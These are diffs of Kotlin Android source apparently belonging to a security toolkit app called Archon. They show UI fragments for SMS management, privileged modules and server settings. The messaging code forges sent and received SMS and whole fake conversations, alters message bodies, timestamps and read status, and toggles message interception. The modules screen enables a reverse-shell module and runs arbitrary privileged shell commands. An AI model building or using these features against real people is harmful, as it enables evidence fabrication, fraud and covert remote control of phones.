adapter = conversationAdapter
}
fabNewMessage.setOnClickListener {
showForgeMessageDialog()
}
}
private fun loadConversations() {
Thread {
val conversations = repo.getConversations()
handler.post {
conversationAdapter.updateData(conversations)
if (conversations.isEmpty()) {
emptyState.visibility = View.VISIBLE
recyclerConversations.visibility = View.GONE
} else {
emptyState.visibility = View.GONE
recyclerConversations.visibility = View.VISIBLE
}
}
}.start()
}
// ── Thread view ────────────────────────────────────────────────
private fun setupThreadView() {
messageAdapter = MessageAdapter(mutableListOf()) { message ->
showMessageContextMenu(message)
}
recyclerMessages.apply {
layoutManager = LinearLayoutManager(requireContext()).apply {
stackFromEnd = true
}
adapter = messageAdapter
}
btnBack.setOnClickListener {
closeThread()
}
btnSend.setOnClickListener {
sendMessage()
}
btnThreadExport.setOnClickListener {
exportCurrentThread()
}
}
private fun openThread(conversation: MessagingRepository.Conversation) {
currentThreadId = conversation.threadId
currentAddress = conversation.address
val displayName = conversation.contactName ?: conversation.address
threadContactName.text = displayName
threadAddress.text = if (conversation.contactName != null) conversation.address else ""
// Mark as read
Thread {
repo.markAsRead(conversation.threadId)
}.start()
// Load messages
loadMessages(conversation.threadId)
// Switch views
conversationListContainer.visibility = View.GONE
threadViewContainer.visibility = View.VISIBLE
}
private fun closeThread() {
currentThreadId = -1
currentAddress = ""
threadViewContainer.visibility = View.GONE
conversationListContainer.visibility = View.VISIBLE
// Refresh conversations to update unread counts
loadConversations()
}
private fun loadMessages(threadId: Long) {
Thread {
val messages = repo.getMessages(threadId)
handler.post {
messageAdapter.updateData(messages)
// Scroll to bottom
if (messages.isNotEmpty()) {
recyclerMessages.scrollToPosition(messages.size - 1)
}
}
}.start()
}
private fun sendMessage() {
val body = inputMessage.text?.toString()?.trim() ?: return
if (body.isEmpty()) return
inputMessage.setText("")
Thread {
val success = repo.sendSms(currentAddress, body)
handler.post {
if (success) {
// Reload messages to show the sent message
loadMessages(currentThreadId)
} else {
// If we can't send (not default SMS), try forge as sent
val id = repo.forgeMessage(
currentAddress, body,
MessagingRepository.MESSAGE_TYPE_SENT,
System.currentTimeMillis(), read = true
)
if (id >= 0) {
loadMessages(currentThreadId)
appendLog("Message inserted (forge mode — not actually sent)")
} else {
appendLog("Failed to send/insert — need default SMS app role")
Toast.makeText(requireContext(),
"Cannot send — set as default SMS app first",
Toast.LENGTH_SHORT).show()
}
}
}
}.start()
}
private fun exportCurrentThread() {
if (currentThreadId < 0) return
Thread {
val result = ModuleManager.executeAction("messaging", "export_thread:$currentThreadId", requireContext())
handler.post {
appendLog(result.output)
for (detail in result.details) {
appendLog(" $detail")
}
showOutputLog()
}
}.start()
}
// ── Search ─────────────────────────────────────────────────────
private fun setupSearch() {
btnSearch.setOnClickListener {
if (searchBar.visibility == View.VISIBLE) {
searchBar.visibility = View.GONE
} else {
searchBar.visibility = View.VISIBLE
inputSearch.requestFocus()
}
}
btnSearchGo.setOnClickListener {
val query = inputSearch.text?.toString()?.trim() ?: ""
if (query.isNotEmpty()) {
performSearch(query)
}
}
btnSearchClose.setOnClickListener {
searchBar.visibility = View.GONE
inputSearch.setText("")
loadConversations()
}
}
private fun performSearch(query: String) {
Thread {
val results = repo.searchMessages(query)
handler.post {
if (results.isEmpty()) {
appendLog("No results for '$query'")
showOutputLog()
} else {
// Group results by thread and show as conversations
val threadGroups = results.groupBy { it.threadId }
val conversations = threadGroups.map { (threadId, msgs) ->
val first = msgs.first()
MessagingRepository.Conversation(
threadId = threadId,
address = first.address,
snippet = "[${msgs.size} matches] ${first.body.take(40)}",
date = first.date,
messageCount = msgs.size,
unreadCount = 0,
contactName = first.contactName
)
}.sortedByDescending { it.date }
conversationAdapter.updateData(conversations)
emptyState.visibility = View.GONE
recyclerConversations.visibility = View.VISIBLE
appendLog("Found ${results.size} messages in ${conversations.size} threads")
}
}
}.start()
}
// ── Toolbar actions ────────────────────────────────────────────
private fun setupToolbar() {
btnDefaultSms.setOnClickListener {
toggleDefaultSms()
}
btnTools.setOnClickListener { anchor ->
showToolsMenu(anchor)
}
}
private fun toggleDefaultSms() {
Thread {
if (!isDefaultSms) {
val result = ModuleManager.executeAction("messaging", "become_default", requireContext())
handler.post {
if (result.success) {
isDefaultSms = true
btnDefaultSms.text = getString(R.string.messaging_restore_default)
appendLog("Archon is now default SMS app")
} else {
appendLog("Failed: ${result.output}")
}
showOutputLog()
}
} else {
val result = ModuleManager.executeAction("messaging", "restore_default", requireContext())
handler.post {
if (result.success) {
isDefaultSms = false
btnDefaultSms.text = getString(R.string.messaging_become_default)
appendLog("Default SMS app restored")
} else {
appendLog("Failed: ${result.output}")
}
showOutputLog()
}
}
}.start()
}
private fun showToolsMenu(anchor: View) {
val popup = PopupMenu(requireContext(), anchor)
popup.menu.add(0, 1, 0, "Export All Messages")
popup.menu.add(0, 2, 1, "Forge Message")
popup.menu.add(0, 3, 2, "Forge Conversation")
popup.menu.add(0, 4, 3, "RCS Status")
popup.menu.add(0, 5, 4, "Shizuku Status")
popup.menu.add(0, 6, 5, "Intercept Mode ON")
popup.menu.add(0, 7, 6, "Intercept Mode OFF")
popup.setOnMenuItemClickListener { item ->
when (item.itemId) {
1 -> executeModuleAction("export_all")
2 -> showForgeMessageDialog()
3 -> showForgeConversationDialog()
4 -> executeModuleAction("rcs_status")
5 -> executeModuleAction("shizuku_status")
6 -> executeModuleAction("intercept_mode:on")
7 -> executeModuleAction("intercept_mode:off")
}
true
}
popup.show()
}
private fun executeModuleAction(actionId: String) {
appendLog("Running: $actionId...")
showOutputLog()
Thread {
val result = ModuleManager.executeAction("messaging", actionId, requireContext())
handler.post {
appendLog(result.output)
for (detail in result.details.take(20)) {
appendLog(" $detail")
}
}
}.start()
}
// ── Shizuku status ─────────────────────────────────────────────
private fun refreshShizukuStatus() {
Thread {
val ready = shizuku.isReady()
handler.post {
setStatusDot(shizukuDot, ready)
}
}.start()
}
private fun setStatusDot(dot: View, online: Boolean) {
val drawable = GradientDrawable()
drawable.shape = GradientDrawable.OVAL
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
dot.background = drawable
}
// ── Message context menu (long-press) ──────────────────────────
private fun showMessageContextMenu(message: MessagingRepository.Message) {
val items = arrayOf(
"Copy",
"Edit Body",
"Delete",
"Change Timestamp",
"Spoof Read Status",
"Forward (Forge)"
)
AlertDialog.Builder(requireContext())
.setTitle("Message Options")
.setItems(items) { _, which ->
when (which) {
0 -> copyMessage(message)
1 -> editMessageBody(message)
2 -> deleteMessage(message)
3 -> changeTimestamp(message)
4 -> spoofReadStatus(message)
5 -> forwardAsForge(message)
}
}
.show()
}
private fun copyMessage(message: MessagingRepository.Message) {
val clipboard = requireContext().getSystemService(android.content.ClipboardManager::class.java)
val clip = android.content.ClipData.newPlainText("sms", message.body)
clipboard?.setPrimaryClip(clip)
Toast.makeText(requireContext(), "Copied to clipboard", Toast.LENGTH_SHORT).show()
}
private fun editMessageBody(message: MessagingRepository.Message) {
val input = TextInputEditText(requireContext()).apply {
setText(message.body)
setTextColor(resources.getColor(R.color.text_primary, null))
setBackgroundColor(resources.getColor(R.color.surface_dark, null))
setPadding(32, 24, 32, 24)
}
AlertDialog.Builder(requireContext())
.setTitle("Edit Message Body")
.setView(input)
.setPositiveButton("Save") { _, _ ->
val newBody = input.text?.toString() ?: return@setPositiveButton
Thread {
val success = repo.updateMessage(message.id, body = newBody, type = null, date = null, read = null)
handler.post {
if (success) {
appendLog("Updated message ${message.id}")
loadMessages(currentThreadId)
} else {
appendLog("Failed to update — need default SMS app role")
}
showOutputLog()
}
}.start()
}
.setNegativeButton("Cancel", null)
.show()
}
private fun deleteMessage(message: MessagingRepository.Message) {
AlertDialog.Builder(requireContext())
.setTitle("Delete Message")
.setMessage("Delete this message permanently?\n\n\"${message.body.take(60)}\"")
.setPositiveButton("Delete") { _, _ ->
Thread {
val success = repo.deleteMessage(message.id)
handler.post {
if (success) {
appendLog("Deleted message ${message.id}")
loadMessages(currentThreadId)
} else {
appendLog("Failed to delete — need default SMS app role")
}
showOutputLog()
}
}.start()
}
.setNegativeButton("Cancel", null)
.show()
}
private fun changeTimestamp(message: MessagingRepository.Message) {
val cal = Calendar.getInstance()
cal.timeInMillis = message.date
DatePickerDialog(requireContext(), { _, year, month, day ->
TimePickerDialog(requireContext(), { _, hour, minute ->
cal.set(year, month, day, hour, minute)
val newDate = cal.timeInMillis
Thread {
val success = repo.updateMessage(message.id, body = null, type = null, date = newDate, read = null)
handler.post {
if (success) {
val fmt = SimpleDateFormat("yyyy-MM-dd HH:mm", Locale.US)
appendLog("Changed timestamp to ${fmt.format(Date(newDate))}")
loadMessages(currentThreadId)
} else {
appendLog("Failed to change timestamp")
}
showOutputLog()
}
}.start()
}, cal.get(Calendar.HOUR_OF_DAY), cal.get(Calendar.MINUTE), true).show()
}, cal.get(Calendar.YEAR), cal.get(Calendar.MONTH), cal.get(Calendar.DAY_OF_MONTH)).show()
}
private fun spoofReadStatus(message: MessagingRepository.Message) {
val items = arrayOf("Mark as Read", "Mark as Unread")
AlertDialog.Builder(requireContext())
.setTitle("Read Status")
.setItems(items) { _, which ->
val newRead = which == 0
Thread {
val success = repo.updateMessage(message.id, body = null, type = null, date = null, read = newRead)
handler.post {
if (success) {
appendLog("Set read=${newRead} for message ${message.id}")
loadMessages(currentThreadId)
} else {
appendLog("Failed to update read status")
}
showOutputLog()
}
}.start()
}
.show()
}
private fun forwardAsForge(message: MessagingRepository.Message) {
// Pre-fill the forge dialog with this message's body
showForgeMessageDialog(prefillBody = message.body)
}
// ── Forge dialogs ──────────────────────────────────────────────
private fun showForgeMessageDialog(prefillBody: String? = null) {
val dialogView = LayoutInflater.from(requireContext())
.inflate(R.layout.dialog_forge_message, null)
val forgeAddress = dialogView.findViewById<TextInputEditText>(R.id.forge_address)
val forgeContactName = dialogView.findViewById<TextInputEditText>(R.id.forge_contact_name)
val forgeBody = dialogView.findViewById<TextInputEditText>(R.id.forge_body)
val forgeTypeReceived = dialogView.findViewById<MaterialButton>(R.id.forge_type_received)
val forgeTypeSent = dialogView.findViewById<MaterialButton>(R.id.forge_type_sent)
val forgePickDate = dialogView.findViewById<MaterialButton>(R.id.forge_pick_date)
val forgePickTime = dialogView.findViewById<MaterialButton>(R.id.forge_pick_time)
val forgeReadStatus = dialogView.findViewById<CheckBox>(R.id.forge_read_status)
prefillBody?.let { forgeBody.setText(it) }
// If we're in a thread, prefill the address
if (currentAddress.isNotEmpty()) {
forgeAddress.setText(currentAddress)
}
// Direction toggle
var selectedType = MessagingRepository.MESSAGE_TYPE_RECEIVED
forgeTypeReceived.setOnClickListener {
selectedType = MessagingRepository.MESSAGE_TYPE_RECEIVED
forgeTypeReceived.tag = "selected"
forgeTypeSent.tag = null
}
forgeTypeSent.setOnClickListener {
selectedType = MessagingRepository.MESSAGE_TYPE_SENT
forgeTypeSent.tag = "selected"
forgeTypeReceived.tag = null
}
// Date/time pickers
forgeCalendar = Calendar.getInstance()
val dateFormat = SimpleDateFormat("MMM dd, yyyy", Locale.US)
val timeFormat = SimpleDateFormat("HH:mm", Locale.US)
forgePickDate.text = dateFormat.format(forgeCalendar.time)
forgePickTime.text = timeFormat.format(forgeCalendar.time)
forgePickDate.setOnClickListener {
DatePickerDialog(requireContext(), { _, year, month, day ->
forgeCalendar.set(Calendar.YEAR, year)
forgeCalendar.set(Calendar.MONTH, month)
forgeCalendar.set(Calendar.DAY_OF_MONTH, day)
forgePickDate.text = dateFormat.format(forgeCalendar.time)
}, forgeCalendar.get(Calendar.YEAR), forgeCalendar.get(Calendar.MONTH),
forgeCalendar.get(Calendar.DAY_OF_MONTH)).show()
}
forgePickTime.setOnClickListener {
TimePickerDialog(requireContext(), { _, hour, minute ->
forgeCalendar.set(Calendar.HOUR_OF_DAY, hour)
forgeCalendar.set(Calendar.MINUTE, minute)
forgePickTime.text = timeFormat.format(forgeCalendar.time)
}, forgeCalendar.get(Calendar.HOUR_OF_DAY), forgeCalendar.get(Calendar.MINUTE), true).show()
}
AlertDialog.Builder(requireContext())
.setView(dialogView)
.setPositiveButton("Forge") { _, _ ->
val address = forgeAddress.text?.toString()?.trim() ?: ""
val contactName = forgeContactName.text?.toString()?.trim()
val body = forgeBody.text?.toString()?.trim() ?: ""
val read = forgeReadStatus.isChecked
val date = forgeCalendar.timeInMillis
if (address.isEmpty() || body.isEmpty()) {
Toast.makeText(requireContext(), "Address and body required", Toast.LENGTH_SHORT).show()
return@setPositiveButton
}
Thread {
val id = repo.forgeMessage(
address = address,
body = body,
type = selectedType,
date = date,
contactName = contactName,
read = read
)
handler.post {
if (id >= 0) {
val direction = if (selectedType == 1) "received" else "sent"
appendLog("Forged $direction message id=$id to $address")
showOutputLog()
// Refresh view
if (currentThreadId > 0) {
loadMessages(currentThreadId)
} else {
loadConversations()
}
} else {
appendLog("Forge failed — need default SMS app role")
showOutputLog()
}
}
}.start()
}
.setNegativeButton("Cancel", null)
.show()
}
private fun showForgeConversationDialog() {
val input = TextInputEditText(requireContext()).apply {
hint = "Phone number (e.g. +15551234567)"
setTextColor(resources.getColor(R.color.text_primary, null))
setHintTextColor(resources.getColor(R.color.text_muted, null))
setBackgroundColor(resources.getColor(R.color.surface_dark, null))
setPadding(32, 24, 32, 24)
inputType = android.text.InputType.TYPE_CLASS_PHONE
}
AlertDialog.Builder(requireContext())
.setTitle("Forge Conversation")
.setMessage("Create a fake conversation with back-and-forth messages from this number:")
.setView(input)
.setPositiveButton("Forge") { _, _ ->
val address = input.text?.toString()?.trim() ?: ""
if (address.isEmpty()) {
Toast.makeText(requireContext(), "Phone number required", Toast.LENGTH_SHORT).show()
return@setPositiveButton
}
executeModuleAction("forge_conversation:$address")
// Refresh after a short delay for the inserts to complete
handler.postDelayed({ loadConversations() }, 2000)
}
.setNegativeButton("Cancel", null)
.show()
}
// ── Output log ─────────────────────────────────────────────────
private fun setupOutputLog() {
btnCloseLog.setOnClickListener {
outputLogCard.visibility = View.GONE
}
}
private fun showOutputLog() {
outputLogCard.visibility = View.VISIBLE
}
private fun appendLog(msg: String) {
val current = outputLog.text.toString()
val lines = current.split("\n").takeLast(30)
outputLog.text = (lines + "> $msg").joinToString("\n")
}
}

View File

@@ -0,0 +1,306 @@
package com.darkhal.archon.ui
import android.content.Context
import android.graphics.Color
import android.graphics.drawable.GradientDrawable
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import androidx.appcompat.app.AlertDialog
import androidx.fragment.app.Fragment
import com.darkhal.archon.R
import com.darkhal.archon.module.ModuleManager
import com.darkhal.archon.module.ReverseShellModule
import com.darkhal.archon.server.ArchonClient
import com.darkhal.archon.util.PrivilegeManager
import com.google.android.material.button.MaterialButton
import com.google.android.material.textfield.TextInputEditText
class ModulesFragment : Fragment() {
private lateinit var serverStatusDot: View
private lateinit var serverStatusText: TextView
private lateinit var archonStatusDot: View
private lateinit var archonInfoText: TextView
private lateinit var archonUidText: TextView
private lateinit var inputArchonCmd: TextInputEditText
private lateinit var shieldStatusDot: View
private lateinit var shieldStatusText: TextView
private lateinit var honeypotStatusDot: View
private lateinit var honeypotStatusText: TextView
private lateinit var revshellStatusDot: View
private lateinit var revshellStatusText: TextView
private lateinit var outputLog: TextView
private val handler = Handler(Looper.getMainLooper())
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_modules, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
// Bind views
serverStatusDot = view.findViewById(R.id.server_status_dot)
serverStatusText = view.findViewById(R.id.server_status_text)
archonStatusDot = view.findViewById(R.id.archon_status_dot)
archonInfoText = view.findViewById(R.id.archon_info_text)
archonUidText = view.findViewById(R.id.archon_uid_text)
inputArchonCmd = view.findViewById(R.id.input_archon_cmd)
shieldStatusDot = view.findViewById(R.id.shield_status_dot)
shieldStatusText = view.findViewById(R.id.shield_status_text)
honeypotStatusDot = view.findViewById(R.id.honeypot_status_dot)
honeypotStatusText = view.findViewById(R.id.honeypot_status_text)
revshellStatusDot = view.findViewById(R.id.revshell_status_dot)
revshellStatusText = view.findViewById(R.id.revshell_status_text)
outputLog = view.findViewById(R.id.modules_output_log)
// Archon Server buttons
view.findViewById<MaterialButton>(R.id.btn_archon_run).setOnClickListener {
val cmd = inputArchonCmd.text?.toString()?.trim() ?: ""
if (cmd.isEmpty()) {
appendLog("Enter a command to run")
return@setOnClickListener
}
runArchonCommand(cmd)
}
view.findViewById<MaterialButton>(R.id.btn_archon_info).setOnClickListener {
appendLog("Querying server info...")
Thread {
val info = ArchonClient.getServerInfo(requireContext())
handler.post {
if (info != null) {
appendLog("Archon: $info")
archonInfoText.text = "Info: $info"
} else {
appendLog("Archon Server not running")
archonInfoText.text = "Status: not running"
}
}
}.start()
}
view.findViewById<MaterialButton>(R.id.btn_archon_ping).setOnClickListener {
Thread {
val running = ArchonClient.isServerRunning(requireContext())
handler.post {
setStatusDot(archonStatusDot, running)
appendLog(if (running) "Archon: pong" else "Archon: no response")
}
}.start()
}
view.findViewById<MaterialButton>(R.id.btn_archon_packages).setOnClickListener {
runArchonCommand("pm list packages -3")
}
// Shield buttons
view.findViewById<MaterialButton>(R.id.btn_shield_full_scan).setOnClickListener {
runModuleAction("shield", "full_scan", "Full Scan")
}
view.findViewById<MaterialButton>(R.id.btn_shield_scan_packages).setOnClickListener {
runModuleAction("shield", "scan_packages", "Package Scan")
}
view.findViewById<MaterialButton>(R.id.btn_shield_scan_admins).setOnClickListener {
runModuleAction("shield", "scan_device_admins", "Device Admin Scan")
}
view.findViewById<MaterialButton>(R.id.btn_shield_scan_certs).setOnClickListener {
runModuleAction("shield", "scan_certificates", "Certificate Scan")
}
view.findViewById<MaterialButton>(R.id.btn_shield_scan_network).setOnClickListener {
runModuleAction("shield", "scan_network", "Network Scan")
}
// Honeypot buttons
view.findViewById<MaterialButton>(R.id.btn_honeypot_harden).setOnClickListener {
runModuleAction("honeypot", "harden_all", "Harden All")
}
view.findViewById<MaterialButton>(R.id.btn_honeypot_reset_ad).setOnClickListener {
runModuleAction("honeypot", "reset_ad_id", "Reset Ad ID")
}
view.findViewById<MaterialButton>(R.id.btn_honeypot_dns).setOnClickListener {
runModuleAction("honeypot", "set_private_dns", "Private DNS")
}
view.findViewById<MaterialButton>(R.id.btn_honeypot_restrict).setOnClickListener {
runModuleAction("honeypot", "restrict_trackers", "Restrict Trackers")
}
view.findViewById<MaterialButton>(R.id.btn_honeypot_revoke).setOnClickListener {
runModuleAction("honeypot", "revoke_tracker_perms", "Revoke Tracker Perms")
}
// Reverse Shell buttons
view.findViewById<MaterialButton>(R.id.btn_revshell_enable).setOnClickListener {
showRevshellWarnings(0)
}
view.findViewById<MaterialButton>(R.id.btn_revshell_disable).setOnClickListener {
runModuleAction("revshell", "disable", "Disable")
}
view.findViewById<MaterialButton>(R.id.btn_revshell_connect).setOnClickListener {
runModuleAction("revshell", "connect", "Connect")
}
view.findViewById<MaterialButton>(R.id.btn_revshell_disconnect).setOnClickListener {
runModuleAction("revshell", "disconnect", "Disconnect")
}
view.findViewById<MaterialButton>(R.id.btn_revshell_status).setOnClickListener {
runModuleAction("revshell", "status", "Status")
}
// Initialize status
refreshStatus()
}
private fun refreshStatus() {
Thread {
val method = PrivilegeManager.getAvailableMethod()
val archonRunning = ArchonClient.isServerRunning(requireContext())
val serverInfo = if (archonRunning) {
ArchonClient.getServerInfo(requireContext()) ?: "running"
} else {
null
}
val shieldStatus = ModuleManager.get("shield")?.getStatus(requireContext())
val honeypotStatus = ModuleManager.get("honeypot")?.getStatus(requireContext())
val revshellStatus = ModuleManager.get("revshell")?.getStatus(requireContext())
handler.post {
// Server status
val serverActive = method != PrivilegeManager.Method.NONE
setStatusDot(serverStatusDot, serverActive)
serverStatusText.text = when (method) {
PrivilegeManager.Method.ROOT -> "Privilege: Root (su)"
PrivilegeManager.Method.ARCHON_SERVER -> "Privilege: Archon Server"
PrivilegeManager.Method.LOCAL_ADB -> "Privilege: Wireless ADB"
PrivilegeManager.Method.SERVER_ADB -> "Privilege: AUTARCH Remote"
PrivilegeManager.Method.NONE -> "Privilege: none — run Setup first"
}
// Archon Server status
setStatusDot(archonStatusDot, archonRunning)
archonInfoText.text = if (archonRunning) {
"Status: Running ($serverInfo)"
} else {
"Status: Not running — start in Setup tab"
}
// Module status
setStatusDot(shieldStatusDot, shieldStatus?.active == true)
shieldStatusText.text = "Last: ${shieldStatus?.summary ?: "no scan run"}"
setStatusDot(honeypotStatusDot, honeypotStatus?.active == true)
honeypotStatusText.text = "Status: ${honeypotStatus?.summary ?: "idle"}"
setStatusDot(revshellStatusDot, revshellStatus?.active == true)
revshellStatusText.text = "Status: ${revshellStatus?.summary ?: "Disabled"}"
appendLog("Privilege: ${method.label}")
if (archonRunning) appendLog("Archon Server: active")
}
}.start()
}
private fun runArchonCommand(command: String) {
appendLog("$ $command")
Thread {
val method = PrivilegeManager.getAvailableMethod()
if (method == PrivilegeManager.Method.NONE) {
handler.post { appendLog("Error: No privilege method — run Setup first") }
return@Thread
}
val result = PrivilegeManager.execute(command)
handler.post {
if (result.stdout.isNotEmpty()) {
// Show up to 30 lines
val lines = result.stdout.split("\n").take(30)
for (line in lines) {
appendLog(line)
}
if (result.stdout.split("\n").size > 30) {
appendLog("... (${result.stdout.split("\n").size - 30} more lines)")
}
}
if (result.stderr.isNotEmpty()) {
appendLog("ERR: ${result.stderr}")
}
if (result.exitCode != 0) {
appendLog("exit: ${result.exitCode}")
}
}
}.start()
}
private fun runModuleAction(moduleId: String, actionId: String, label: String) {
appendLog("Running: $label...")
Thread {
val result = ModuleManager.executeAction(moduleId, actionId, requireContext())
handler.post {
appendLog("$label: ${result.output}")
for (detail in result.details.take(20)) {
appendLog(" $detail")
}
// Update module status after action
when (moduleId) {
"shield" -> shieldStatusText.text = "Last: ${result.output}"
"honeypot" -> honeypotStatusText.text = "Status: ${result.output}"
"revshell" -> revshellStatusText.text = "Status: ${result.output}"
}
}
}.start()
}
private fun setStatusDot(dot: View, online: Boolean) {
val drawable = GradientDrawable()
drawable.shape = GradientDrawable.OVAL
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
dot.background = drawable
}
private fun appendLog(msg: String) {
val current = outputLog.text.toString()
val lines = current.split("\n").takeLast(30)
outputLog.text = (lines + "> $msg").joinToString("\n")
}
/**
* Show reverse shell safety warnings one at a time.
* After all 3 are accepted, set the warning flag and run the enable action.
*/
private fun showRevshellWarnings(index: Int) {
val warnings = ReverseShellModule.WARNINGS
if (index >= warnings.size) {
// All warnings accepted — set the prefs flag and enable
val prefs = requireContext().getSharedPreferences("archon_revshell", Context.MODE_PRIVATE)
prefs.edit().putBoolean("revshell_warnings_accepted", true).apply()
appendLog("All warnings accepted")
runModuleAction("revshell", "enable", "Enable")
return
}
AlertDialog.Builder(requireContext())
.setTitle("Warning ${index + 1} of ${warnings.size}")
.setMessage(warnings[index])
.setPositiveButton("I Understand") { _, _ ->
showRevshellWarnings(index + 1)
}
.setNegativeButton("Cancel") { _, _ ->
appendLog("Reverse shell enable cancelled at warning ${index + 1}")
}
.setCancelable(false)
.show()
}
}

View File

@@ -0,0 +1,231 @@
package com.darkhal.archon.ui
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import android.widget.Toast
import androidx.fragment.app.Fragment
import com.darkhal.archon.LoginActivity
import com.darkhal.archon.R
import com.darkhal.archon.service.DiscoveryManager
import com.darkhal.archon.util.AuthManager
import com.darkhal.archon.util.PrefsManager
import com.darkhal.archon.util.ShellExecutor
import com.darkhal.archon.util.SslHelper
import com.google.android.material.button.MaterialButton
import com.google.android.material.materialswitch.MaterialSwitch
import com.google.android.material.textfield.TextInputEditText
class SettingsFragment : Fragment() {
private lateinit var inputServerIp: TextInputEditText
private lateinit var inputWebPort: TextInputEditText
private lateinit var inputAdbPort: TextInputEditText
private lateinit var inputUsbipPort: TextInputEditText
private lateinit var switchAutoRestart: MaterialSwitch
private lateinit var statusText: TextView
private val handler = Handler(Looper.getMainLooper())
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_settings, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
inputServerIp = view.findViewById(R.id.input_server_ip)
inputWebPort = view.findViewById(R.id.input_web_port)
inputAdbPort = view.findViewById(R.id.input_adb_port)
inputUsbipPort = view.findViewById(R.id.input_usbip_port)
switchAutoRestart = view.findViewById(R.id.switch_settings_auto_restart)
statusText = view.findViewById(R.id.settings_status)
loadSettings()
view.findViewById<MaterialButton>(R.id.btn_save_settings).setOnClickListener {
saveSettings()
}
view.findViewById<MaterialButton>(R.id.btn_auto_detect).setOnClickListener {
autoDetectServer(it as MaterialButton)
}
view.findViewById<MaterialButton>(R.id.btn_test_connection).setOnClickListener {
testConnection()
}
view.findViewById<MaterialButton>(R.id.btn_logout).setOnClickListener {
AuthManager.logout(requireContext())
val intent = android.content.Intent(requireContext(), LoginActivity::class.java)
intent.flags = android.content.Intent.FLAG_ACTIVITY_NEW_TASK or android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK
startActivity(intent)
}
}
private fun loadSettings() {
val ctx = requireContext()
inputServerIp.setText(PrefsManager.getServerIp(ctx))
inputWebPort.setText(PrefsManager.getWebPort(ctx).toString())
inputAdbPort.setText(PrefsManager.getAdbPort(ctx).toString())
inputUsbipPort.setText(PrefsManager.getUsbIpPort(ctx).toString())
switchAutoRestart.isChecked = PrefsManager.isAutoRestartAdb(ctx)
}
private fun saveSettings() {
val ctx = requireContext()
val serverIp = inputServerIp.text.toString().trim()
val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181
val adbPort = inputAdbPort.text.toString().trim().toIntOrNull() ?: 5555
val usbipPort = inputUsbipPort.text.toString().trim().toIntOrNull() ?: 3240
if (serverIp.isEmpty()) {
statusText.text = "Error: Server IP cannot be empty"
return
}
// Validate IP format (IPv4 or hostname)
if (!isValidIpOrHostname(serverIp)) {
statusText.text = "Error: Invalid IP address or hostname"
return
}
// Validate port ranges
if (webPort < 1 || webPort > 65535) {
statusText.text = "Error: Web port must be 1-65535"
return
}
if (adbPort < 1 || adbPort > 65535) {
statusText.text = "Error: ADB port must be 1-65535"
return
}
PrefsManager.setServerIp(ctx, serverIp)
PrefsManager.setWebPort(ctx, webPort)
PrefsManager.setAdbPort(ctx, adbPort)
PrefsManager.setUsbIpPort(ctx, usbipPort)
PrefsManager.setAutoRestartAdb(ctx, switchAutoRestart.isChecked)
statusText.text = "Settings saved"
Toast.makeText(ctx, "Settings saved", Toast.LENGTH_SHORT).show()
}
private fun isValidIpOrHostname(input: String): Boolean {
// IPv4 pattern
val ipv4 = Regex("""^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$""")
val match = ipv4.matchEntire(input)
if (match != null) {
return match.groupValues.drop(1).all {
val n = it.toIntOrNull() ?: return false
n in 0..255
}
}
// Hostname pattern (alphanumeric, dots, hyphens)
val hostname = Regex("""^[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?)*$""")
return hostname.matches(input)
}
private fun autoDetectServer(btn: MaterialButton) {
statusText.text = "Scanning for AUTARCH server..."
btn.isEnabled = false
btn.text = "SCANNING..."
val discovery = DiscoveryManager(requireContext())
discovery.listener = object : DiscoveryManager.Listener {
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
discovery.stopDiscovery()
val method = when (server.method) {
DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)"
DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct"
DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth"
}
if (server.ip.isNotEmpty()) {
inputServerIp.setText(server.ip)
}
if (server.port > 0) {
inputWebPort.setText(server.port.toString())
}
statusText.text = "Found ${server.hostname} via $method\nIP: ${server.ip} Port: ${server.port}"
btn.isEnabled = true
btn.text = "AUTO-DETECT SERVER"
}
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {}
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
if (discovery.getDiscoveredServers().isEmpty()) {
handler.post {
statusText.text = "No AUTARCH server found on network.\nCheck that the server is running and on the same network."
btn.isEnabled = true
btn.text = "AUTO-DETECT SERVER"
}
}
}
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {}
}
discovery.startDiscovery()
}
private fun testConnection() {
val serverIp = inputServerIp.text.toString().trim()
val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181
if (serverIp.isEmpty()) {
statusText.text = "Error: Enter a server IP first"
return
}
if (!isValidIpOrHostname(serverIp)) {
statusText.text = "Error: Invalid IP address"
return
}
statusText.text = "Testing connection to $serverIp..."
Thread {
// Ping test
val pingResult = ShellExecutor.execute("ping -c 1 -W 3 $serverIp")
val pingOk = pingResult.exitCode == 0
// HTTPS test — probe root endpoint
val httpOk = try {
val url = java.net.URL("https://$serverIp:$webPort/")
val conn = url.openConnection() as java.net.HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 5000
conn.requestMethod = "GET"
val code = conn.responseCode
conn.disconnect()
code in 200..399
} catch (e: Exception) {
false
}
handler.post {
val status = StringBuilder()
